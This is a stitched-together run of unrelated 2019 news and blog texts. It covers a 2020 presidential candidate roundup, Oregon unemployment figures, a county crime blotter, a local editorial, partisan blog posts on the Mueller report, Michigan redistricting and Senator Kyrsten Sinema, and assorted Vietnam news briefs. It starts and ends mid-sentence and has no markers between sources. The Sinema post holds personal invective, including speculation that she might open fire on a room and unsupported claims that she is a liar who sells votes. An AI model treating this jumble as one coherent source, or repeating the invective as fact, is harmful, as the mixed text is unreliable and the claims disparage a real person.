"Politics and Eggs" event Tuesday morning that people continue to approach him about the possibility. "People have asked me to give this serious consideration and I think I owe it to those people to do just that. That's what I'm doing," he said. Hogan was further critical of the Republican National Committee, which he said had "the right to support the sitting president" but shouldn't "change the rules and... insist 100% loyalty." Jay Inslee (D) The Washington governor penned an open letter on Earth Day to his fellow 2020 candidates urging them to support his proposal for the Democratic National Committee to dedicate one out of 12 planned primary debates to solely focus on climate change. Amy Klobuchar (D) In the CNN Town Hall hosted earlier this week, the Minnesota Senator said that Trump should be held accountable following the Mueller report, but she stopped short of calling for impeachment. Klobuchar also hosted a meet-and-greet event in Lexington, South Carolina to talk with local residents about her positive economic agenda to move the country forward. Wayne Messam (D) Miramar, Florida Mayor Wayne Messam's presidential campaign was undergoing allegations that his campaign staff isn't getting paid. According to a report published by the Miami New Times, an anonymous former campaign staffer said that a campaign team member sent an email to staff with the subject line "Notification of hold on paychecks," which blamed the failure to disburse checks on Messam's wife, Angela. Messam, whose lawyers are reviewing the allegations, told ABC News that "an unnamed staffer making a claim like that can't be validated." Seth Moulton (D) The Massachusetts congressman officially announced his candidacy for president this week on ABC's Good Morning America. "And I am running because I am a patriot, because I believe in this country and because I have never wanted to sit on the sidelines when it comes to serving it," Moulton said. Beto O'Rourke (D) Former Texas Rep. Beto O'Rourke, while speaking to the press at the "She the People" forum in Texas, joined some of his fellow 2020 presidential candidates by stating that he is willing to "rethink" the voting rights of non-violent prisoners. O'Rourke will also be returning to Nevada for his second trip since announcing his candidacy for president to participate in various grassroots events across the state. Tim Ryan (D) Ryan, who as a sitting member of the House would be in a position to vote on impeachment, said this week that he doesn't believe his chamber should begin proceedings against Trump, telling CNN that the House Judiciary Committee should continue to investigate. "Let the Judiciary Committee look at this. There's a process in place here. I trust [committee chair Rep.]Jerry Nadler, he's one of the smartest guys in the United States Congress, I think that's the natural next step and let's see where that leads," Ryan said. Bernie Sanders (D) During a CNN town hall Monday, Sanders shared his opinion that incarcerated felons should be allowed to vote, a stance that was met with immediate backlash from Republican Party officials. "I think the right to vote is inherent to our democracy -- yes, even for terrible people -- because once you start chipping away ... you're running down a slippery slope," Sanders said. "I do believe that even if they are in jail paying their price to society, that should not take away their inherent American right to participate in our democracy." Eric Swalwell (D) Like Booker, Swalwell promised to select a woman to be his running mate, should he capture the Democratic nomination. "I've pledged that I would ask a woman to serve as vice president," he said in an appearance on MSNBC. "I would put forward a diverse candidate, and I would put forward policies that would make sure that inherent bias that exists, or discrimination that exists in communities, would be eliminated." Elizabeth Warren (D) Warren was among the first presidential candidates to call for impeachment proceedings last Friday in the aftermath of the Mueller report's release, tweeting that "to ignore a President's repeated efforts to obstruct an investigation into his own disloyal behavior would inflict great and lasting damage on this country, and it would suggest that both the current and future Presidents would be free to abuse their power in similar ways." The Massachusetts senator released a proposal this week to wipe out student loan debt for millions of people and make public colleges free. Warren said that the plan would cost the federal government $640 billion, but be paid for by a tax increase on families with $50 million or more of wealth. Bill Weld (R) Weld outlined his campaign strategy in an interview with The New York Times, pointing out that independent voters can vote in the Republican primary in 20 states, including the early-voting state of New Hampshire and his home state of Massachusetts. "If people speak to issues that are of interest to millennials and Gen Xers and suburban female voters, I think the size and character of the electorate who are going to be voting in the Republican primaries is going to be quite different than you get right now," the former Massachusetts governor said. Weld additionally revealed that he'll campaign in California, Oregon and Washington in addition to heavy travel in New England and the mid-Atlantic states. Andrew Yang (D) A Yang rally in Los Angeles on Monday attracted over 2,000 people, his campaign claimed, and it's the latest sign of widespread interest in a campaign once off most political observers' radars. At an event in Las Vegas Wednesday, Yang compared himself to Trump, explaining that like the real estate mogul in 2016, he plans to speak about issues and ideas that other Democrats are ignoring, highlighting automation as a threat to American jobs. Copyright 2019, ABC Radio. All rights reserved. The mid-Willamette Valleys economy has been humming along for nearly three years now, said an expert with the Oregon Employment Department. Were definitely seeing low unemployment in both (Linn and Benton) counties and there are no real signs of broad-based trouble or anything like that out there. The biggest problem continues to be for employers trying to fill jobs, said Patrick OConnor, state regional economist. Linn Countys unemployment rate dropped to 4.9% in March, falling from 5.1% in February, according to state data released this week. A few years ago, this would have been a new record and cause for celebration. Now, ho-hum, its just another month. Any time unemployment is below 6% in Linn County, its really good, OConnor said. Linn Countys unemployment rate hasnt edged above 6% since April 2016. Benton Countys unemployment rate remained unchanged at 3.4% in March, and that, once again, was the lowest rate in the state. OConnor said that one of Benton Countys benchmarks for strong economic performance is an unemployment rate of 4%. Corvallis and surrounding areas havent been above that mark since September 2016. Job growth, however, has suffered, because even if employers had positions to fill, they havent been able to find workers. Some employers at a career fair at Linn-Benton Community College last week complained about that scenario. The tight labor market has contributed to some of the slowing job growth, OConnor said. Were not adding people into the labor force as quickly as we had been. Linn Countys job growth stood at 1.6% over the past year, with 720 new workers added. Benton County added 140 jobs for an increase of 0.3%. Oregon and the United States both had job growth of 1.7% in the last year. The unemployment rates for Oregon overall, 4.4%, and the United States, 3.8%, remained unchanged this March. Kyle Odegard can be reached at kyle.odegard@lee.net, 541-812-6077 or via Twitter @KyleOdegard. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. LINN COUNTY SHERIFF Oops! At 8:18 p.m. Wednesday, a deputy assisted Oregon State Police after a semi lost its load at the Highway 34 and Interstate 5 ramp. Missing property 11:09 a.m. Wednesday, 29000 block Highway 34, near Corvallis. A caller reported the theft of about $3,000 worth of personal property in the past week. Missing tools 12:06 p.m. Wednesday, 500 block Territorial St., Harrisburg. A caller reported the theft of $5,000 in tools from his pickup. LINN COUNTY CIRCUIT COURT Domestic violence From Tuesday afternoon. Tyler Michael Clardy of Albany was charged with strangulation and fourth-degree assault. Both crimes were labeled as domestic violence. The crimes allegedly occurred on Sunday, and the Albany Police Department was the investigating agency. DUII, stolen vehicle From Thursday afternoon. Neva Victoria Blake, 54, of Lebanon, was indicted on charges of unauthorized use of a vehicle and driving under the influence of intoxicants. The crimes allegedly occurred on Oct. 4, and the Oregon State Police was the investigating agency. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. We spend a lot of time on this page criticizing various governmental actions, so it's nice from time to time to be able to highlight something that's doing good work in the community. For example: The Linn County Board of Commissioners this week approved another summer's worth of funding for its Small Business First Time Employment Youth Wage Grant Program. That's the ungainly title for an extremely useful program which reimburses employers who have hired first-time workers for summer jobs. Part of the idea here, of course, is to encourage employers to hire young workers, who sometimes struggle to take those vital first steps into the labor market. The program reimburses employers with fewer than 35 employees $2 per hour for first-time workers who are on the job from May 1 through Sept. 27. This was particularly important when the county was in the grips of the Great Recession, when younger job seekers found themselves competing for even low-paying jobs with older workers who had been laid off. It was particularly tough in those days for those younger workers to land that important first job. The job market, of course, has rebounded considerably since then, but it still can be difficult for a teenage worker to snag a job. The program gives small businesses an incentive to offer jobs to younger workers, and that's important. The program also has a real benefit for smaller businesses, where saving $2 an hour can make the difference between being able to hire some summertime help or just muddling through another vacation season. In any event, there's no doubt that the program has been effective, both for employees and the young workers: Last summer, 20 employers hired 44 workers who worked more than 14,000 hours. Seven of those workers parlayed the part-time jobs into permanent ones. The cost to the county was about $28,000. The year before, 18 employers hired 40 workers who worked just under 12,000 hours. The cost to the county was about $23,000. The commissioners dedicate economic development funds for this program, and although this is a relatively unusual use for those funds, there's no doubt that it's a legitimate use for the money. But it might be better to think of this program as an investment, not just in the small businesses that now can hire summertime help, but in the young workers who gain invaluable experience and can take their first steps up the workforce ladder. (mm) Boon for bikes It's not as if Lebanon's Santiam Spokes Bicycle Club hasn't already been serving its community: For years, the club has donated thousands of bicycle helmets. (And a quick aside here to you bicyclists about helmets: Wear them. Helmet hair can be fixed easily. Brain damage, not so much.) But we were particularly impressed by the club's clever new project: It recently donated a bicycle repair station, installed outside the Lebanon Public Library, that can be used by members of the community. The idea isn't that the station will be monopolized by members of the club, who keep their bikes in good repair and travel with the tools needed to fix them. But the station is available for bicycle commuters and children, who frequently ride their bikes to the library. The repair station includes an air pump, a stand where bicycles can be placed at eye level and a small selection of basic tools needed to perform common repairs. The station cost $1,800 to install. The club was able to fund the project from proceeds from its annual Strawberry Century Bicycle Ride. (This year's edition of the ride is coming up on June 8.) Craig Lalley, the president of the club, said if the station proves popular and we expect it will the next step might be to install a similar station at the Albany library. That would be great. In the meantime, though, this is a wonderful gift to the community. (mm) Love 0 Funny 0 Wow 0 Sad 0 Angry 0 But I dont want to go among mad people," Alice remarked. "Oh, you cant help that," said the Cat: "were all mad here. Im mad. Youre mad." "How do you know Im mad?" said Alice. "You must be," said the Cat, "or you wouldnt have come here. Lewis Carroll, Alice in Wonderland With freedom comes responsibility. Eleanor Roosevelt I am a retired newspaperman. I live in Poca, WV, with my wife of 44 years, Lou Ann. I grew up in Cleveland. Three kids. Grandfather. Report all errors to DonSurber@GMail.com Writing for the Payday Report yesterday, union activist Mike Elk mentioned that, after a fat-cat Philly fundraiser-in-a-mansion con-sponsored by superrich union buster attorney Steven Cozen to kick off his campaign on Thursday, Status Quo Joe is going to demonstrate how down with the Rust Belt's white working class he is by showing up at a quasi-Potemkin Village version of a rally in Pittsburgh. In October of 2016 there was a different kind of rally for white working class guys in Pittsburgh-- and that was no "quasi" about the Potemkin-ness of it! A few days ago, Mark Gruenberg had an interesting tidbit from the Mueller report to share: a fake "Miners For Trump" rally in Pittsburgh... organized by Kremlin-paid election saboteurs From the redacted Mueller Report MINERS FOR TRUMP it read in green capital letters. BRING BACK OUR JOBS it added in white capitals. After some printing thats illegible, it declared Help Mr. Trump fix it! and ended with #TrumpPence2016. The message was a fake, and there are no details on how many people showed up for the rally. But that Russian fake, and others, may have helped GOP presidential nominee Donald Trump win the electoral votes of the key states-- Pennsylvania among them-- that swung the 2016 election. The accompanying text in Special Counsel Robert Muellers report on Trump, the Russians, and the 2016 campaign disruption says the rally in Steel Plaza in Pittsburgh and another in Marcony Plaza in Philadelphia were two of three Pennsylvania events Russian internet operatives staged for Trump in the closing days of the drive. There were three others in New York and a series in Florida, including one in Miami that drew the campaigns attention. All were arranged by Russian agents rather than by any actual Trump-supporting miners, according to the redacted copy of Muellers report on the Trump campaign, the Russians, and the ties-- or lack of them, the report says-- between the two. By the way, the face of the miner wasn't a Russian. The St. Petersburg troll farm run by the Internet Research Agency somehow wound up with a photo of Lee Hipshire, an American coal miner who can't complain-- because he died of black lung disease. His son, Ronnie Hipshire, a retired coal miner in West Virginia, did complain... to NPR. "What I didn't like about seeing this on the Mueller report is them stealing my dad's picture and putting it on a Trump campaign rally," Hipshire said in his interview with All Things Considered. "My dad was one of the most staunch Democrats that you'll ever see in your life, and he never would have even thought about putting his face on something like that. It just was beyond me to see it." Stealing intellectual property-- photographer Earl Dotter owns the rights to that image of Lee Hipshire-- is a hallmark of Republican Party election campaigns. I guess Russian ones too-- or at least the Russian election campaigns they do in the U.S. A federal court Trump hasn't had the opportunity to pervert yet, voted unanimously to strike down the Michigan GOP legislature's grossly unconstitutional gerrymander that handed a 50/50 state over to the Republicans in the state House, state Senate and congressional delegation, even while statewide, the Democrats were kicking GOP butt. The decision will force a redrawing of congressional districts 1, 4, 5, 7, 8, 9, 10, 11, and 12; state Senate Districts 8, 11, 12, 14, 18, 27, and 36; and state House Districts 24, 32, 51, 55, 60, 63, 75, 83, 91, 94, and 95. (The Court let 7 contested legislative districts stand as they are-- three in the state Senate and 4 in the state House but will also require Michigan to conduct special state Senate elections for some seats next year, cutting in half the four-year terms those current lawmakers are now serving.) Unless the Supreme Court-- which Trump has perverted (very much so)-- grants a stay, fairly likely with 2 similar cases pending for North Carolina and Maryland, the new boundaries will have to be approved by the court in time for the 2020 election. The court characterized the boundaries the legislature drew as a partisan gerrymander "of historical proportions." The ruling stated flatly that the "predominate purpose" of the Republican redistricting plan (2011) "was to subordinate the interests of Democratic voters and entrench Republicans in power" violating the first and 14th Amendment rights of the plaintiffs. In the statewide races last cycle, the Republicans got just 43.7% in the gubernatorial race and just 45.8% in the U.S. Senate race. if the GOP The court ordered a super-transparent redistricting process that requires the legislature to present Democratic Governor Gretchen Whitmer a new map she agrees to sign by August 1. If they fail-- likely-- the court will appoint a special master, the way the court in Pennsylvania did, which was catastrophic for the Republican congressional delegation. The Pennsylvania delegation went from 13 Republicans and 5 Democrats under the illegally gerrymandered map to 9 Democrats and 9 Republicans (the GOP holds onto PA-12 next week, as expected). The unanimous decision was made by 3 judges, 2 Clinton appointees and one appointee of George H.W. Bush. During the process, Michigan's new Secretary of State, Jocelyn Benson (D), wasn't nearly as harsh towards the GOP law-breakers as the court was. But yesterday she said that the ruling "confirms that these Michigan state House and Senate and U.S. congressional districts are unconstitutional... As the states chief election officer, Im committed to working with the Legislature, citizens and the court to ensure the new districts comply with our U.S. Constitution." When the suit began, Michigan had 9 Republicans and 5 Democrats in Congress, despite the fact that the statewide votes are around 50/50. In 2018, though, 2 red seats were flipped and the delegation now stands at 7 Republicans and 7 Democrats. The redrawing could turn the delegation bluer yet. These are the members of Congress directly impacted by the ruling, along with the PVI of each district: MI-01- Jack Bergman (R)- R+9 MI-04- John Moolenaar (R)- R+10 MI-05- Dan Klildee (D)- D+5 MI-07- Tim Walberg (R)- R+7 MI-08- Elissa Slotkin (D)- R+4 MI-09- Andy Levin (D)- D+4 MI-10- Paul Mitchell (R)- R+13 MI-11- Haley Stevens (D)- R+4 MI-12- Debbie Dingell (D)- D+14 As far as I can tell, a fairer map wouldn't change much. Slotkin and Stevens would probably wind up with less red districts, perhaps with an R+1 lean rather than the current R+4 leans that are usually only flippable in wave cycles. The Republican who could be in serious jeopardy is Tim Walberg in the southeast corner of the state, where his district is likely to end up with more Democratic voters from Washtenaw County in Debbie Dingell's district. It wouldn't put her in jeopardy at all to turn MI-07 into an evenly split district, which is always what courts want to see. Maybe I'm being too conservative in my thinking, but my best guess is that a new map will result in just one change in the delegation. If the DCCC runs a reasonable candidate-- like the sack of Blue Dog garbage they ran in 2018-- they would be able to retire Walberg. That's really it, other than more safety for reelection hopes for Slotkin and Stevens, who are being targeted by the NRCC now, but probably will be just targeted on paper after their districts are made more even. Walberg beat back wretched Blue Dog Gretchen Driskell, one of the worst candidates the DCCC was pushing last cycle, 158,730 (53.8%) to 136,330 (46.2%). In a slightly fairer district, a non-lesser-of-two-evils Democrat would probably spell the end of Walberg's political career. There are currently 8 counties in the district. The DCCC was eager to field a Blue Dog with relatively little in common with actual Democrats who live in those counties beyond Choice and other social issues. Keep in mind that Democrats in those 8 counties went overwhelmingly for Bernie-- he won all 8 counties-- rather than Hillary in 2016, a real indictment of DCCC interference in local elections. The eight counties are listed here by the size of their voter turnout, but big and small they were all Bernie territory. Democrats chose to back the populist progressive, not the corporatist status quo candidate. That didn't stop-- never stops-- the DCCC from saddling them with an even worse candidate than Hillary, a full-fledged conservative, Republican-lite Blue Dog: Monroe- Bernie- 48.1% (to Hillary's 47.2%) Jackson- Bernie- 55.0% Washtenaw- Bernie- 55.4% Eaton- Bernie- 55.6% Lenawee- Bernie- 53.9% Hillsdale- Bernie- 56.7% Branch- Bernie- 53.6% In the general, Trump won Monroe (58.4%), Jackson (57.2%), Eaton (49.6%), Leenawee (57.6%), Hillsdale (70.9%) and Branch (66.9%). Clinton won only Washtenaw County, where, remember, Bernie has edged her in the primary. It's why people so often say Bernie would have won-- and will in 2020, unless the Democrats manage to run another Clinton-type candidate. Does she look like she could be a mass murderer? all the There are plenty of reasons to oppose Kyrsten Sinema-- likethe reasons that made Chuck Schumer pick her to be the U.S. Senator for Arizona. Her corruption is stupendous, mimicking his own. Her voting record was once the most Republican of any Democrat's in the House and is now the most Republican of any Democrat's in the Senate. For example, the last vote the Senate took before leaving for spring break was April 11 on whether or not to confirm oil lobbyists David Bernhardt as Secretary of the Interior. Even some of the Senate's most egregious corporate whores-- like Michael Bennet and Tom Carper-- felt compelled to vote NO. But not Sinema. Since arriving in the Senate in January, she's been struggling with West Virginia conservative Joe Manchin for the title of "Worst Voting Record." They go back and forth. Her "F" is 52.38%; his is 47.62%. Her career-long Trump adhesion score is 58.4% , imperceptibly " better " than Machin's. Factoring in the partisan-lean of states, though, her Trump score is not just worse than Manchin's but worse than that of 41 current Republicans Yesterday, Alex Henderson asked, rhetorically, if she's the Joe Manchin of the West . I'll explain why she's far worse in a moment. I don't think Henderson knows much about her although he did mention that "Arizona Republicans and Tea Party activists in Arizona have described Sinema as 'far left,' but her record doesnt bear that out by any means. No, not by any means at all. He list 4 positions she's taken since January: She opposes Medicare-For-All She voted to confirm William Barr as Attorney General She voted against the Green New Deal She sides with corporate donors against New Neutrality That doesn't even scratch the surface of why Schumer should be driven from office for having given her the Arizona Senate seat. When I first met her, she was still serving in the Arizona state legislature. We served on a board together and I noticed there was something wrong with her. I couldn't quite put my finger on it at the time but when we had to pick seats at the big table for the board meetings, I always tried to pick a seat that wasn't in her direct eye range... in case she pulled a gun out of her purse and started randomly shooting up the room. Yeah, I sensed CRAZY from the first time I met her. And she got crazier with time. There were always House Republicans voting more progressively than Sinema She's had a bizarre political devolution from full on anarcho-socialist to Green to Democrat to Blue Dog to... well, for her the obvious next step would be Republican, except she's aggressively bisexual-- aggressively in terms of telling everyone she meets over and over, not necessarily trying to hook up with people-- and Republicans like people that kind of stuff kept on the down low. And she's also pro-women, which Republicans tend to frown on. She asked me for a Blue America endorsement when she ran for Congress. The vetting process painted a very, very, very different picture of her than the one she had tried to present. She said she was a champion of immigrants' rights in the state legislature. Immigrants rights activists in Arizona I asked, told me said she's an untrustworthy backstabber. Many of her colleagues in the legislature agreed-- and not just on that issue. She received the worst vetting outcomes of any candidate in the history of Blue America. It pained me to tell her we couldn't endorse her but the picture that was painted turned out to be totally accurate. She's also a compulsive liar on a Trumpian scale . And is notorious for selling her votes to corporate special interests. She had a pattern while on the House Financial Services Committee of voting with the Republicans against reform, probably atrributable to the massive contributions from Wall Street she was gobbling up. Of everyone running for the Senate last cycle-- including sitting senators-- she took the most Finance Sector sewer money ($2,882,605.) Since first being elected to Congress, she's taken $4,600,708, more than any other Senate freshman, of either party, by far. She takes money from sleazy interest groups most Democrats keep at arm's length, from Payday Lenders ($82,000) and charter schools ($63,496) to Big Tobacco ($34,300). But mostly she takes from the banksters. CP Foods will use Vietnam as an export hub for its poultry and pork business. Photo by Shutterstock/goodmoments Thai agricultural conglomerate CP Foods will invest $200 million to create an export hub in Vietnam to take advantage of its TPP membership. The hub would be for the companys poultry and pork businesses, the Nikkei Asian Review reported. The company is hoping to take advantage of Vietnams membership of the Trans-Pacific Partnership trade deal, which gives the country more advantageous trading terms with other members. Ten other countries have signed the TPP: Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, and Singapore. CP Foods is also planning to boost shrimp exports with the backing of the Vietnamese government. It plans to increase its shrimp farming capacity in the country to 50 billion units a year from the current 12 billion. CP Group (Charoen Pokphand Group), which owns CP Foods, was established in 1921 and is now one of Thailand's largest enterprises in manufacturing, agriculture and food processing. The company first came to Vietnam in 1988 with a representative office and incorporated CP Vietnam in 1993 to engage in the livestock and aquaculture businesses. It has so far invested $1 billion in Vietnam, Montri Suwanposri, CEO of CP Vietnam, said. Vietnam startups to have their say at upcoming forum An upcoming national private sector forum will give startups a platform to discuss problems and ideas with government officials. The Vietnam Private Sector Economic Forum 2019 will be held May 2-3 at the National Convention Center in Hanoi. It is a space for government representatives to listen to private companies on the difficulties and barriers they face in business activities. The challenges faced by startups will be one of the main topics to be discussed at the forum. Among other things, representatives will be able to propose changes in the legal framework to further advance the development of startups in the context of the government trying to make private sector the main growth engine of the Vietnamese economy. Experts from the Asian Development Bank, the World Bank and ride-hailing giant Grab will share their ideas based on their experience in other countries. Vietnamese startups raised almost $900 million in 92 major deals last year, three times that of 2017, according to the Topica Founder Institute. The fintech industry attracted the highest amount of investment, followed by e-commerce, travel tech, logistics and education tech. Apart from issues related to startups, 2,500 businesses with more than 50 speakers will discuss other private sector related topics including travel, agriculture and the digital economy. The forum is hosted by the Government and the Party Central Committees Economic Commission, and co-organized by the Private Sector Development Committee, VnExpress and the IEC Group. No passenger was hurt as a plane's wing panel came off as it landed in Hai Phong Thursday. On Thursday afternoon VJ722 from the central city of Da Nang landed at Cat Bi International Airport in northern Hai Phong City, and immediately its captain asked aircraft mechanics to check the wings. On inspection, they found a panel has broken off the left wing. No ones safety came under any threat but in Vietnam an occurrence like this is ranked third only behind accidents and serious technical issues in terms of safety, and aviation authorities promptly launched an investigation. The Airbus 321, which has been in operation since November 2017, has been grounded pending the investigation. Binh Thuan police in the south central province have detained a local primary teacher on allegations he molested eight school girls. Le Minh Hai, 29, was placed under house arrest and criminal investigation launched Thursday for "molestation of a person under 16." His crime was uncovered after many parents complained to the school, saying that the teacher touched the girls genitals. Hai admitted to the police he has molested eight girls aged six to eight. Forensic examination showed two of them suffered genital damage. Recent reports of male teachers sexually assaulting school girls have shocked the nation. Earlier this week, Nguyen Viet Anh, a secondary school teacher in Lao Cai Province, was arrested for impregnating a 14-year-old student. A court in Da Nang City last month sentenced Nguyen Quang Chung, a former ethics teacher, to life imprisonment for raping several third-grade girls. Vietnam recorded 1,547 child sex abuse cases in 2018, down 2.8 percent from a year ago, according to the Ministry of Public Security. In most cases, the perpetrators have been found to be people familiar with the children, such as teachers, school security officials, relatives and neighbors, prompting lawmakers and non-governmental organizations to call for Vietnamese parents to be more alert and pay more attention. People find shelter in a park in Hanoi during the summer of 2018. Photo by VnExpress/Ngoc Thanh April data over a hundred years show Hanoi experiencing a record high temperature of 38.9 degrees Celsius this year. The hottest time in Vietnam usually falls in June, but this April has seen a heat wave sweep the country, and Hanoi has not been spared. In the capital city, the average temperature in April was about 24 degrees Celsius. But last Saturday, Hanoi peaked at 38.9 degrees (102 degrees Fahrenheit), Nguyen Van Huong, head meteorologist at the National Center for Hydro-Meteorological Forecasting, told local media. This surpassed the record of 38.5 degrees Celsius in April 1919, the national weather office said. The city's temperature is 33 degrees on Friday, forecast to rise to 36 on Monday. The years 2003, 2012 and 2015 also saw above average temperatures in Hanoi. Huong said, as cited by Lao Dong newspaper, that temperatures in northern Vietnam since early April this year have increased by two to three degrees higher than the average of 23-34 degrees Celsius. Record temperatures have been recorded in many parts of the country. Most notably, Huong Khe District in the central province of Ha Tinh, 361 km south of Hanoi, experienced the nation's highest ever recorded temperature at 43.4 degrees Celsius (110 degrees Fahrenheit) last Saturday. Huong said the main reason for the extreme heat was a combination of the impact of El Nino and global warming, not to mention urbanization. The impact of El Nino is mainly evident in the first half of the year and not so pronounced in the second half. Therefore, Huong told local media that the average temperatures this summer would be about 0.5-1 degrees higher than the normal average. He said it was very likely that the heat wave will set new records of 39-41 degrees or even higher, but the peak experienced in Ha Tinh was not likely to be repeated. The weather office has warned of more heat waves in the coming months. It has said that the northern and central regions will suffer from more hot temperatures between April and August, longer than other regions in the country. A study published in the journal Climatic Change last September said Southeast Asian countries like the Philippines and Vietnam would be most affected by heat-related mortality along with countries in Southern Europe and South America. Hue citadel gate regains original colors as high-pressure steam goes to work The former imperial citadels Meridian Gate is now free of moss, fungi and lichen after a two-week cleanup by German experts. German company Karcher, which specializes in cleaning technologies and equipment, did the work as part of a cultural sponsorship program. It was the first time Ngo Mon, as the gate is known in Vietnamese, was cleaned using modern technology. The company used high-pressure steam to remove dirt and biological contaminants that had accumulated over the years. The cleanup was headed by Thorsten Marco Mowes, a Karcher expert in cleaning and sanitation technology, and Andrea Teufel, a German conservation expert who has been working on the Hue heritage site for 15 years. They had to use ladders to reach the upper parts of the structure. Thorsten Marco Mowes instructs an employee. The German expert also personally took part in the operation, which returned the bricks to their original color. Many of the nearly-200-year-old gate's bricks have regained their bright red color following the cleanup. Many of the nearly 200-year-old gate's bricks (L) have regained their bright red color after 15 days. The German company will conclude the cleanup and hand over the gate to Hue authorities on Friday. The imperial citadel is a part of Hues Complex of Monuments, a UNESCO world heritage site. It has many relics from the era of the Nguyen Dynasty (1802-1945), the last feudal rulers of Vietnam, and is among the top historical and tourism sites in the country. Vietnam is among the five biggest global markets for YouTube. Photo by Reuters/Lucy Nicholson Vietnam is among the five biggest global markets for YouTube, a representative of the video-sharing website said Wednesday. The top five markets India, Indonesia, Japan, Thailand and Vietnam, were all Asian nations, YouTubes Asia Pacific regional director Ajay Vidyasagar told CNBC. This result is based on how long users spend watching videos on the site. All of the markets have year-on-year growth levels that are very high double digits, or, in some cases, triple digits annual growth, Vidyasagar said. "Mobile consumption, actually, really started showing up as a game-changer from this region," he said. Vietnamese spend around seven hours a day online, of which 2.5 hours on average are spent on social media. YouTube is the second-most accessed site in the country with a user ratio of 59 percent, behind Facebook at 61 percent, according to a 2018 report by We Are Social. 73 percent of the population uses mobile phones, on which 42 percent use smartphones and 50 million people use mobile social media, according to a report by Vietnamese digital advertising firm Adsota earlier this year. Additionally, the Vietnamese government is pushing the nation to adopt new mobile connectivity technologies, specifically the 5G network, which should have nationwide coverage by 2020, Minister of Information and Communications Nguyen Manh Hung said. Major mobile carriers in Vietnam have already announced plans to develop 5G networks using equipment from other suppliers, including Ericsson, Nokia and Samsung Electronics. Earlier this year, Viettel, Vietnams largest telecommunications company, became the first one to receive a license to trial its 5G services. Despite new developments in high-speed mobile Internet connectivity technology that could potentially make video content more accessible to users, Vietnam is also looking to tighten conditions for tech businesses operating in the country, including Google, which acquired YouTube for $1.65 billion in stock in 2006. Under the countrys Cybersecurity Law, which took effect this year, local and foreign tech firms would need to open representative offices in Vietnam and store users data locally. Companies are also required by law to submit users data to the Ministry of Public Security upon receipt of requests in writing, in cases where any infringement of the Cybersecurity Law is being investigated. Both YouTube and Google have invested in technologies and implemented tools and policies to meet regulatory standards, Vidyasagar said. "We need a mix of both machine and human interference to come together here." A farmer harvests rice on a rice paddy field outside Hanoi, Vietnam, June 7, 2018. Photo by Reuters/KhamE Rice export prices in Vietnam rose for the first time in six weeks as domestic buying picked up and fears of water scarcity in the countrys rice bowl grew. The price surge happens amid weaker local currencies weighed on rates in other top Asian exporting hubs. In Vietnam, rates for 5 percent broken rice rose to $360-$370 a tonne on Thursday from $360 last week. "Demand is higher and exporters are rushing to buy rice from farmers to fulfil the orders signed earlier this year," a trader based in Ho Chi Minh City said. Prices also rose because the Mekong Delta provinces are facing water shortages as farmers start sowing for the summer-autumn crop, another trader said. In India, the worlds leading exporter, the 5 percent broken parboiled variety fell to around $375-$378 per tonne this week from last weeks $377-$380 range. "Demand is weak from African, as well as Asian buyers, even after reducing prices," said an exporter based at Kakinada in the southern state of Andhra Pradesh. The aggressive selling of old inventories by China to African buyers was also weighing on prices, exporters said. A dip in the rupee, which fell to a seven-week low on Thursday, was another factor prompting exporters to cut prices. Indias rice exports for April-February dropped 9.4 percent from a year earlier to 10.57 million tonnes, as leading buyer Bangladesh trimmed its purchases due to a bumper local harvest, a government body said. Meanwhile, faced with falling prices, officials in Bangladesh reiterated that the country was considering a review of its long-standing ban on rice exports. "We need to protect farmers interests, at the same time we cant let the prices rise," a senior official at the countrys food ministry said. Bangladesh, traditionally the worlds fourth biggest rice producer, banned overseas shipments of some common rice varieties in May 2008 after a spike in domestic prices. It banned all rice exports a year later. Thailands benchmark 5-percent broken rice prices were quoted at $385-$388 a tonnes, free on board Bangkok, from $393-$411 last week, mainly due to the weakening of the baht against the U.S. dollar. "Despite the drop in prices, Thai rice remains less competitive compared with other exporters like India and Vietnam," a Bangkok-based trader said. With the potential for a drought this year, supply remains a concern for Thai rice traders. Cambodia has taken a hard line on drugs in recent years as smugglers use it to transfer drugs, particularly heroin and methamphetamine. Photo by AFP/Tang Chhin Sothy A Vietnamese Australian woman was sentenced to 30 years in prison by a Cambodian court on Thursday, for attempting to smuggle almost two kilograms of heroin out of Phnom Penh. Ve Thi Tran was arrested at Phnom Penh airport last January by immigration police after they received a tip from the Australian Federal Police. The 38-year-old was about to board a flight to Hong Kong, bound for Australia as her final destination. The municipal court found her guilty of drug trafficking after she had been held in Phnom Penh's notorious Prey Sar prison for more than a year. "The court has decided to sentence Ve Thi Tran to 30 years in jail and fines her 80 million riel ($19,700)," said Judge Khuon Sona. The Vietnamese-born Australian admitted to the court on April 9 she carried the bags of heroin, which she received from two Vietnamese men in Phnom Penh. She had stashed the bags in the lining of her luggage, according to state media. Cambodia has taken a hard line on drugs in recent years in response to smugglers turning to the country as a transit point, particularly for heroin and methamphetamine. Heavy sentences are passed down for drug trafficking, with hundreds arrested including senior officials and foreigners. From sexually exploited girls in Ethiopia to migrant workers in Malaysia and Mauritius, Britain on Friday pledged 4 million pounds ($5.2 million) to support global anti-slavery projects. Six organizations, such as charity Anti-Slavery International and the United Nations University, a research institution, will share the aid money from The Modern Slavery Innovation Fund. The funding will also be used to run workshops on modern slavery in South Africa, improve support for survivors in India, and develop an online data hub to boost anti-slavery policies, according to Britain's Home Office (interior ministry). "Human trafficking, forced labor and exploitation are sadly not evils of the past, but are with us today," Victoria Atkins, Britain's minister for crime, said in a statement. "The projects being funded today will help protect some of the most vulnerable people on the planet and encourage more innovative approaches to identifying victims and pursuing those who would exploit them." The Modern Slavery Innovation Fund was announced in 2016 and previously gave 6 million pounds to schemes such as awareness-raising campaigns in Nigeria, the Philippines and Vietnam. The Ethical Trading Initiative (ETI) - a coalition of trade unions, firms and charities promoting workers' rights and one of the recipients of the latest funding - said it would help inform migrant workers in Malaysia about their rights and remediation. "ETI will also work with global businesses in their supply chains worldwide so that they are able to improve working conditions for migrant workers and provide remedy for workers where they have suffered abuse," said ETI's Owain Johnstone. The British government has committed a total of 200 million pounds in aid funding to combat modern-day slavery overseas, and given several million pounds to nations from Albania to Vietnam. Britain has hailed itself a leader in global efforts to end slavery, and passed the Modern 